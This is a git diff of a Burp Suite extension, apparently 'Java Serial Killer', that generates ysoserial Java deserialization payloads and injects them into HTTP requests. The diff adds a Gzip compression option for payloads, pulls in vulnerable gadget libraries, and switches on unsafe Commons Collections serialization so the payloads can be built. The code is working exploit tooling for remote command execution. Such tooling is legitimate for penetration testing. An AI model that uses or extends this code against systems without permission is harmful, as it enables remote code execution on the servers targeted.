diff --git a/README.md b/README.md
index de7d6f6..3af599e 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,6 @@
+# Note
+**I am not actively updating this extension. I recommend using either https://github.com/federicodotta/Java-Deserialization-Scanner, https://portswigger.net/bappstore/e20cad259d73403bba5ac4e393a8583f, or https://portswigger.net/bappstore/ae1cce0c6d6c47528b4af35faebc3ab3 for exploiting Java Deserialization**
+
# Java Serial Killer
Burp extension to perform Java Deserialization Attacks using the ysoserial payload generator tool.
diff --git a/pom.xml b/pom.xml
index aab2fb1..e1e71cf 100644
--- a/pom.xml
+++ b/pom.xml
@@ -7,8 +7,45 @@
com.netspi.javaserialkiller
javaserialkiller
1.0-SNAPSHOT
+
+
+
+ org.apache.maven.plugins
+ maven-assembly-plugin
+
+
+
+ jar-with-dependencies
+
+
+
+
+ make-assembly
+
+ package
+
+ single
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+ 8
+ 8
+
+
+
+
+
+ org.apache.commons
+ commons-collections4
+ 4.0
+
org.reflections
reflections
@@ -19,5 +56,40 @@
bsh
2.0b5
+
+ commons-beanutils
+ commons-beanutils
+ 1.7.0
+
+
+ org.codehaus.groovy
+ groovy-all
+ 2.1.2
+
+
+ commons-collections
+ commons-collections
+ 3.2.2
+
+
+ org.springframework
+ spring-beans
+ 3.0.5.RELEASE
+
+
+ org.springframework
+ spring-core
+ 4.1.4.RELEASE
+
+
+ com.google.guava
+ guava
+ 23
+
+
+ com.google.guava
+ guava
+ 16.0.1
+
\ No newline at end of file
diff --git a/src/main/java/burp/ChildTab.java b/src/main/java/burp/ChildTab.java
index 69dd5f2..a148dc9 100644
--- a/src/main/java/burp/ChildTab.java
+++ b/src/main/java/burp/ChildTab.java
@@ -24,9 +24,11 @@ public class ChildTab implements IMessageEditorController, ActionListener {
private final JPanel panel;
public static boolean isEncoded;
+ public static boolean isCompressed;
JButton goButton;
JCheckBox base64CheckBox;
+ JCheckBox compressCheckBox;
private final JComboBox payloadComboBox;
@@ -66,6 +68,7 @@ public ChildTab(final IBurpExtenderCallbacks callbacks, JTabbedPane tabbedPane,
serializeButton.setActionCommand("serialize");
serializeButton.addActionListener(ChildTab.this);
+ compressCheckBox = new JCheckBox("Gzip");
base64CheckBox = new JCheckBox("Base64 Encode");
String[] typeStrings = { "BeanShell1","CommonsBeanutilsCollectionsLogging1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4","Groovy1","Jdk7u21","Spring1"};
@@ -75,6 +78,7 @@ public ChildTab(final IBurpExtenderCallbacks callbacks, JTabbedPane tabbedPane,
helpButton.addActionListener(ChildTab.this);
topButtonPanel.add(goButton);
topButtonPanel.add(serializeButton);
+ topButtonPanel.add(compressCheckBox);
topButtonPanel.add(base64CheckBox);
topButtonPanel.add(payloadComboBox);
topButtonPanel.add(helpButton);
@@ -138,12 +142,13 @@ private void serializeRequest() {
// String[] command = Utilities.formatCommand(commandTextField.getText());
boolean isEncoded = base64CheckBox.isSelected();
+ boolean isCommpressed = compressCheckBox.isSelected();
String command = commandTextField.getText();
String payloadType = payloadComboBox.getSelectedItem().toString();
- byte[] httpMessage = Utilities.serializeRequest(message,selectedMessage,isEncoded,command,helpers,payloadType);
+ byte[] httpMessage = Utilities.serializeRequest(message,selectedMessage,isEncoded, isCommpressed,command,helpers,payloadType);
requestViewer.setMessage(httpMessage, true);
diff --git a/src/main/java/burp/Utilities.java b/src/main/java/burp/Utilities.java
index 179474c..8e6c581 100644
--- a/src/main/java/burp/Utilities.java
+++ b/src/main/java/burp/Utilities.java
@@ -5,33 +5,55 @@
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
+import java.util.zip.GZIPOutputStream;
public class Utilities {
- public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, boolean isEncoded, String command, IExtensionHelpers helpers, String payloadType) {
+ public static byte[] gzipByteArray(byte[] data) {
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ try {
+ GZIPOutputStream gzip = new GZIPOutputStream(bos);
+ gzip.write(data);
+ gzip.close();
+ data = bos.toByteArray();
+ bos.close();
+ } catch (IOException ignored) {
+ }
+
+ return data;
+ }
+
+ public static byte[] serializeRequest(
+ byte[] message, byte[] selectedMessage, boolean isEncoded, boolean isCompressed, String command,
+ IExtensionHelpers helpers, String payloadType
+ ) {
int selectedOffset = 0;
int endingOffset = 0;
- if (selectedMessage != null){
+ if (selectedMessage != null) {
selectedOffset = Bytes.indexOf(message, selectedMessage);
endingOffset = selectedOffset + selectedMessage.length;
- } else if(ChildTab.selectedMessage != null) {
-
+ } else if (ChildTab.selectedMessage != null) {
+ byte[] payload = ChildTab.selectedMessage;
+ if (ChildTab.isCompressed) {
+ payload = gzipByteArray(payload);
+ }
if (ChildTab.isEncoded) {
- selectedOffset = Bytes.indexOf(message, Base64.getEncoder().encode(ChildTab.selectedMessage));
- endingOffset = selectedOffset + Base64.getEncoder().encode(ChildTab.selectedMessage).length;
- } else {
- selectedOffset = Bytes.indexOf(message, ChildTab.selectedMessage);
- endingOffset = selectedOffset + ChildTab.selectedMessage.length;
+ payload = Base64.getEncoder().encode(payload);
}
+
+ selectedOffset = Bytes.indexOf(message, payload);
+ endingOffset = selectedOffset + payload.length;
}
if (ChildTab.selectedMessage != null || selectedMessage != null) {
@@ -43,6 +65,14 @@ public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, bo
ChildTab.selectedMessage = exploitArray;
+
+ if (isCompressed) {
+ exploitArray = gzipByteArray(exploitArray);
+ ChildTab.isCompressed = true;
+ } else {
+ ChildTab.isCompressed = false;
+ }
+
byte[] output;
if (isEncoded) {
@@ -67,20 +97,24 @@ public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, bo
return helpers.buildHttpMessage(headers, newBody);
} else {
- return message;
- }
+ return message;
+ }
}
- private static byte[] getExploitPayload(String payloadType, String command){
+ private static byte[] getExploitPayload(String payloadType, String command) {
- final Class extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType.split(" ")[0]);
+ final Class extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(
+ payloadType.split(" ")[0]
+ );
byte[] exploitPayload = new byte[0];
try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
+ System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
exploitPayload = Serializer.serialize(object);
+ System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false");
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
@@ -90,7 +124,7 @@ private static byte[] getExploitPayload(String payloadType, String command){
}
- public static String[] formatCommand(String command){
+ public static String[] formatCommand(String command) {
List list = new ArrayList<>();
Matcher m = Pattern.compile("([^\']\\S*|\'.*?(.*).*?.+?\')\\s*").matcher(command);
int first;
@@ -98,11 +132,11 @@ public static String[] formatCommand(String command){
String firstFix;
String lastFix;
while (m.find()) {
- if(m.group(1).contains("\'")){
+ if (m.group(1).contains("\'")) {
first = m.group(1).indexOf('\'');
- firstFix = new StringBuilder(m.group(1)).replace(first,first+1,"").toString();
+ firstFix = new StringBuilder(m.group(1)).replace(first, first + 1, "").toString();
last = firstFix.lastIndexOf('\'');
- lastFix = new StringBuilder(firstFix).replace(last,last+1,"").toString();
+ lastFix = new StringBuilder(firstFix).replace(last, last + 1, "").toString();
list.add(lastFix);
} else {
list.add(m.group(1));